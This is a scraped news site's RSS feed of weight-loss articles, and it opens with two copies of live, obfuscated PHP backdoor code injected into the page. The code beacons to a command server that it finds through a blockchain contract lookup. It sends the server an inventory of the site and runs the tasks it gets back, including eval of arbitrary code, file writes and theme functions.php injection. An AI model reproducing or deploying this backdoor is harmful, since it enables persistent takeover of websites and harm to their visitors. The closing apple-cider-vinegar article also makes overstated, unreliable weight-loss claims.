// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); pounds – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 04 Jan 2019 03:47:03 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png pounds – Brief News https://briefnews.eu 32 32 6 weight-loss tips from people who have dropped between 20 and 250 pounds https://briefnews.eu/6-weight-loss-tips-from-people-who-have-dropped-between-20-and-250-pounds/ https://briefnews.eu/6-weight-loss-tips-from-people-who-have-dropped-between-20-and-250-pounds/#respond Fri, 04 Jan 2019 03:47:03 +0000 http://briefnews.eu/6-weight-loss-tips-from-people-who-have-dropped-between-20-and-250-pounds/ losing weightTanvir Alam / Flickr

  • Finding the right motivation to lose weight often comes from others who have similar experiences.
  • Losing weight requires lifestyle changes you can sustain.
  • The initial weight loss is only part of the equation. You need to have a plan in order to maintain your loss.

Making a lifestyle change to get healthy and/or lose weight is a journey unique to each of us. While you’re on your way, hearing about other people’s transformations can be inspirational and encouraging.

So, if you’re in need of a little motivation, check out these weight loss tips from people who have been there and done that.

Matt Schiffman: Sticking to a ketogenic diet helped him lose over 100 pounds.

Matt Schiffman

Matt Schiffman, VP of Brand Management at RSP Nutrition, lost, and kept off, over 100 pounds after he decided to take charge of his health through small daily improvements.

One improvement he implemented immediately was a shift in his diet. “For me, a ketogenic diet worked well because I love fatty cuts of meat and savory foods,” he told INSIDER.

But you can’t force it. That’s why his advice is to find a diet that works for you and allows you to eat the types of foods you love. “There is no one single right diet, but there is a diet that is right for you,” Schiffman said.

Mike DeMaria: Intermittent fasting helped this firefighter lose 23 pounds.

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Intermittent fasting is at the center of professional firefighter Mike DeMaria’s weight loss. He recently lost 23 pounds by sticking to a strict eating schedule through intermittent fasting (IF).

Eating only between the hours of noon and 8:00 pm, he said e watched the weight melt off of him. As he began to lose weight, he also felt more energized and started to work out more frequently in the gym switching between running, Stairmaster, weights, and other exercises.

One tip from DeMaria: avoid doing the same workout every day. “Some days I run five to seven miles outside, while others I may run two to three miles on the treadmill,” he told INSIDER. He also alternates between the Stairmaster, quick plyo workouts with burpees, push-ups, etc., and lifting weights.

April Storie: An exercise app helped her lose 26 pounds.

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As an Army veteran, April Storie told INSIDER that physical fitness has always been a part of her life. But in December 2016, her dad died, and the grief was unexpected, immense, and exhaustive, which led to poor food choices and lack of physical activity.

In November 2017, she said she discovered an app called Aaptiv and purchased a one-year subscription. “As I began to move more, I started making healthier eating options,” said Storie. “I eliminated all inflammatory causing foods and stopped all supplements and pain medications with the goal of allowing my body’s systems to heal and restore themselves,” she explained.

Storie used the meditation section of the Aaptiv app morning, noon, and night to help eliminate stress, and the yoga and walking programs for gentle yet effective movement while her body healed. Aten 10 months, Storie is down 26 pounds and has her sights set on returning to 5k running races.


See the rest of the story at Business Insider

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]]> https://briefnews.eu/6-weight-loss-tips-from-people-who-have-dropped-between-20-and-250-pounds/feed/ 0 Weight loss: How REVERSE fasting is the diet for shedding pounds – without skipping meals https://briefnews.eu/weight-loss-how-reverse-fasting-is-the-diet-for-shedding-pounds-without-skipping-meals/ https://briefnews.eu/weight-loss-how-reverse-fasting-is-the-diet-for-shedding-pounds-without-skipping-meals/#respond Sun, 14 Oct 2018 15:22:43 +0000 http://briefnews.eu/weight-loss-how-reverse-fasting-is-the-diet-for-shedding-pounds-without-skipping-meals/

Weight loss diet dubbed “reverse fasting” could be the best way to lose pounds.

Fasting is often met with trepidation as it can sometimes mean restricting meals, resulting in extreme hunger pangs.

However, reverse fasting does not include skipping either breakfast or dinner.

It instead changes the way and time of day that food is eaten.

Reverse fasting changes the times of meals to ensure the fasting period is later in the day.

This means that dinner is eaten at 5pm or 6pm instead of 8pm, a later time that many families choose to eat at.

This then means that the person fasts for 12 to 15 hours overnight due to the earlier evening meal.

When they wake up, they can then eat breakfast at 6am or 7am without skipping a meal but still partaking in the fast.

The fast is then when the person is sleeping, meaning fewer feelings of hunger that may have been felt in the day.

Reverse fasting works just like intermittent fasting by aiding weight loss, reducing blood pressure as well as the resting heart rate.

It works by a metabolic switch taking place in the liver where the body then uses fat for energy.

The person then wakes up with a meal in the morning, preventing the starving feeling that is felt.

The organs in the body are also believed to follow a circadian rhythm, in that digestion can slow down later in the day when the sun goes down.

Therefore by fasting during the night time, where digestion is slower, it can be better to then eat in the day during the lighter hours where digestion is faster.

It is also often equated with the caveman diet – while this means eating basic foods with minimal processes, it can also be in reference to the fasting they once did during the seasons.

A study by the University of Surrey also found that by changing breakfast and dinner times, weight loss could be enhanced.

Published in the Journal of Nutritional Sciences, 16 adults ate breakfast 90 minutes later and ate dinner 90 minutes earlier.

The study found that more than half had a reduced appetite due to the smaller time frame of eating.

Fat loss was also almost twice as much. While the study is small, the results could be used for a larger case study.

Jonathan Johnston, co-author of the study, said: “We are now going to use these preliminary findings to design larger, more comprehensive studies of time-restricted feeding.”

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]]> https://briefnews.eu/weight-loss-how-reverse-fasting-is-the-diet-for-shedding-pounds-without-skipping-meals/feed/ 0 My Strictly ambition? Learn to dance as I shed pounds! https://briefnews.eu/my-strictly-ambition-learn-to-dance-as-i-shed-pounds/ https://briefnews.eu/my-strictly-ambition-learn-to-dance-as-i-shed-pounds/#respond Sat, 08 Sep 2018 02:08:57 +0000 http://briefnews.eu/my-strictly-ambition-learn-to-dance-as-i-shed-pounds/

The glamorous BBC journalist, 48, married former Royal Marine Mike Heron in 2010 and, after two children Clemency, six, and Wilbur, four, wants to squeeze back into her wedding dress.

While other celebrities dream of lifting the glitter ball Kate revealed: “My only aim now is to learn how to dance and to get back into my wedding dress because a lot has happened in that time.

“Two stone. Everyone talks about the two stone rule…”

Essex-born Kate wants to renew her wedding vows with her children alongside her.

She said: “I think that’s a nice idea because I’ll be 50 in two years. That was my absolutely best day, when I felt absolutely at my best, so it would be nice to get back to that.”

And she saucily admitted her appearance on Strictly has proved something of a marriage tonic – with Mike paying far more attention to her now she is about to be paired with a hunky professional dancer.

Addressing the dreaded “Strictly curse” which has seen off many relationships during its 14-year run, she said: “I married the love of my life, he’s my soulmate, so we have no worries in that department. But when I came home on the first day after the group dance – and my husband’s a military man, completely sort of in himself – he went, ‘Oh, so who were you dancing with today?

“And I went, ‘Oh you know that new one’ – as if he didn’t know because I’ve been going, Oh, look at him – the Italian [Graziano Di Prima]’. And I saw a little flicker. I’m just saying: he’s upping his game.

“Never mind the Strictly curse, this is marriage magic. I’m getting texts going, ‘You looked really hot this morning, babe’.”

Answering vicious social media trolls who say she is abandoning her children for the BBC dance show, Kate said: “I take my time with my children very seriously.

“My children will both be at school when I am training. It’s the reason I have agreed to do Strictly this year.

“I have simply told Wilbur that mummy will be shaking her bottom and as anyone with a four-year-old knows, any talk of bottoms is utterly hilarious. So he’s all in favour.”

Of the competition, she said: “There’s a lot of pressure given that my dancing was once described as a worm shedding its skin by one of my sister’s boyfriends – very rude. Let’s hope Craig doesn’t pick that as one of his comments.

“I won’t mind, honestly. I do have a little smidgen of rhythm. We’ve established that. So we just need to build on that and if I can put one foot in front of the other, I will have fun.”

Surprisingly, former Pussycat Doll and bookies’ favourite Ashley Roberts is also nervous about the demands of Strictly.

She fears the limited dance moves she has from her time as a pop star means it will be hard to impress the notoriously tough judges.

American Ashley, 36, who made a name for herself “twerking” or “booty popping” (sexy hip thrusting) in the modern Burlesque group and dance ensemble alongside former X Factor judge Nicole Scherzinger, said: “I don’t think [judge] Shirley Ballas is going to want me to twerk on the ballroom floor.

“The pros know this world. I’m putting all my trust and faith in them. “Having the lead guy is just foreign to me because we did choreographed pieces and what I’ve done in the Dolls was booty popping – and I don’t know if there’s any booty pops in the Tango.”

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]]> https://briefnews.eu/my-strictly-ambition-learn-to-dance-as-i-shed-pounds/feed/ 0 Weight loss: Drink this much apple cider vinegar to lose 8 pounds in ONE week https://briefnews.eu/weight-loss-drink-this-much-apple-cider-vinegar-to-lose-8-pounds-in-one-week/ https://briefnews.eu/weight-loss-drink-this-much-apple-cider-vinegar-to-lose-8-pounds-in-one-week/#respond Thu, 30 Aug 2018 17:06:25 +0000 http://briefnews.eu/weight-loss-drink-this-much-apple-cider-vinegar-to-lose-8-pounds-in-one-week/

Apple cider vinegar has been used for cooking and to treat ailments for thousands of years.

Moving away from just flavouring food, the liquid is now being used as a method for weight loss, with studies proving just how effective it can be.

When drunk every day, apple cider vinegar can blast belly fat, decrease body fat percentage and melt away fat.

But just how much apple cider vinegar should you drink, and how should you drink it?

How does it work?

Apple cider vinegar helps speed up weight loss in many ways, one being that it speeds up the metabolism.

A recent study showed that drinking apple cider vinegar boosts fat burning and decreases fat and sugar production in the liver.

Another way it helps blast fat is by reducing fat storage, by increasing the number of genes that reduce belly fat storage.

Apple cider vinegar also burns fat by increasing the body’s amount of fat burning genes and suppresses the appetite.

How much to drink

According to Healthline.com, the optimum amount of apple cider vinegar to consume daily is one-two tablespoons (15-30ml).

It is best to spread the amount into two-three doses a day and is best to consume before meals.

